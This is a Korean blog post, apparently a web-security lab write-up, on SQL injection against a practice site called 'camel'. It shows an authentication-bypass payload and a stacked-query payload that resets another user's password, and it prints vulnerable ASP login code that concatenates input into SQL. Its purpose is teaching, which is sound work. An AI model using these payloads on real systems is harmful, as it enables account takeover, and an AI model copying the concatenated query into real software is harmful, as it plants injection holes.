yuil :: SecOps

[WebSec] SQL Injection Lab 01 본문

실습/Web Security 실습

[WebSec] SQL Injection Lab 01

yuil.lee 2025. 10. 20. 16:10
1. camel 사이트의 관리자로 로그인 하라.

2. camel 사이트의 원하는 계정으로 로그인 하라.
 - 회원 관리를 위한 테이블은 'member'이고 id 와 passwrod가 저장되어 있는 필드명은 'mem_id', 'mem_pw'라는 것을 알고 있다고 가정한다. 
[hint] 쿼리문의 끝을 의미하는 ';' 이용

*계정 생성에 사용 가능한 주민번호
800807-2902210
801223-1325618 
xp

우측 하단 [관리자로그인]

' or '1'='1

관리자 로그인
로그인 성공

#계정 정보 변경
anything'; update member set mem_pwd='hacked' where mem_id='dltnstls'--

dltnstls / hacked 로그인
로그인 성공

관리자 등 중요 계정의 id를 알수 있다면 비밀번호를 강제로 변경하여 취약점을 공격할 수 있다.

 

 

login_chk.asp

<!--#include file="../inc/dns.asp"-->
<%
id  = trim(request("id"))
pw  = trim(request("pass"))
re_url=trim(request("re_url"))
ba = trim(request("ba"))


if id="" or pw="" then    				'불법접속%>
	<script language="javascript">
		alert("아이디가 존재하지 않습니다. \n다시한번 확인하여 주십시오.");
		location.replace("<%=local%>/login/login.asp?ba=search")
	</script>
<%end if


'회원체크     
   
SQL = " Select * from member where mem_id='"&id&"' "		'회원 사용가능 여부도 함께 체크
Set Rs=Server.CreateObject("ADODB.RecordSet")
Rs.Open SQL, db

if Rs.EOF or Rs.BOF then    		'아이디 미존재
%>         
	<script language="javascript">
		alert("아이디가 존재하지 않습니다. \n다시한번 확인하여 주십시오.");
		location.replace("<%=local%>/login/login.asp?ba=search")
	</script>
<%	
	response.end
     
end if

'======================================================================     
if Rs("mem_pwd") <> pw then   '패스워드 불일치
%>         
	<script language="javascript">
		alert("비밀번호가 일치하지 않습니다. \n다시한번 확인하여 주십시오.");
		location.replace("<%=local%>/login/login.asp?ba=search")
	</script>
<%	
	Response.End 
end if

 

반응형

'실습 > Web Security 실습' 카테고리의 다른 글

[WebSec] SQL Injection 방어 우회 실습  (0) 2025.10.21
[WebSec] SQL Injection 방어 Lab 01  (0) 2025.10.21
[WebSec] SQL Injection 실습  (0) 2025.10.20
[WebSec] SQL Lab 03  (0) 2025.10.20
[WebSec] SQL Lab 02  (0) 2025.10.20